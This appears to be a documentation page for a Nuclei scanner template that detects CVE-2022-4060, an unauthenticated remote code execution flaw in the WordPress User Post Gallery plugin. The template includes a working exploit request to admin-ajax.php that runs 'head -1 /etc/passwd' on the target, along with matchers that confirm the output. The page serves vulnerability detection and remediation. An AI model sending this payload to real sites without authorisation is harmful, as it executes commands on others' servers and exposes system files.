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WordPress User Post Gallery <=2.19 - Remote Code Execution

ID: CVE-2022-4060

Severity: critical

Author: theamanrawat

Tags: cve,cve2022,unauth,wpscan,rce,wordpress,wp-plugin,wp,wp-upg,odude

Description

Section titled “Description”

WordPress User Post Gallery plugin through 2.19 is susceptible to remote code execution. The plugin does not limit which callback functions can be called by users, making it possible for an attacker execute malware, obtain sensitive information, modify data, and/or gain full control over a compromised system without entering necessary credentials.

YAML Source

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id: CVE-2022-4060


info:
  name: WordPress User Post Gallery <=2.19 - Remote Code Execution
  author: theamanrawat
  severity: critical
  description: |
    WordPress User Post Gallery plugin through 2.19 is susceptible to remote code execution. The plugin does not limit which callback functions can be called by users, making it possible for an attacker execute malware, obtain sensitive information, modify data, and/or gain full control over a compromised system without entering necessary credentials.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected WordPress site.
  remediation: |
    Update to the latest version of the User Post Gallery plugin (>=2.20) to mitigate this vulnerability.
  reference:
    - https://wpscan.com/vulnerability/8f982ebd-6fc5-452d-8280-42e027d01b1e
    - https://wordpress.org/plugins/wp-upg/
    - https://nvd.nist.gov/vuln/detail/CVE-2022-4060
    - https://github.com/im-hanzou/UPGer
    - https://github.com/nomi-sec/PoC-in-GitHub
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2022-4060
    cwe-id: CWE-94
    epss-score: 0.03753
    epss-percentile: 0.91618
    cpe: cpe:2.3:a:odude:user_post_gallery:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: odude
    product: user_post_gallery
    framework: wordpress
  tags: cve,cve2022,unauth,wpscan,rce,wordpress,wp-plugin,wp,wp-upg,odude


http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-admin/admin-ajax.php?action=upg_datatable&field=field:exec:head+-1+/etc/passwd:NULL:NULL"


    matchers-condition: and
    matchers:
      - type: word
        part: header
        words:
          - "application/json"


      - type: word
        part: body
        words:
          - "recordsFiltered"


      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"


      - type: status
        status:
          - 200
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Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2022/CVE-2022-4060.yaml"

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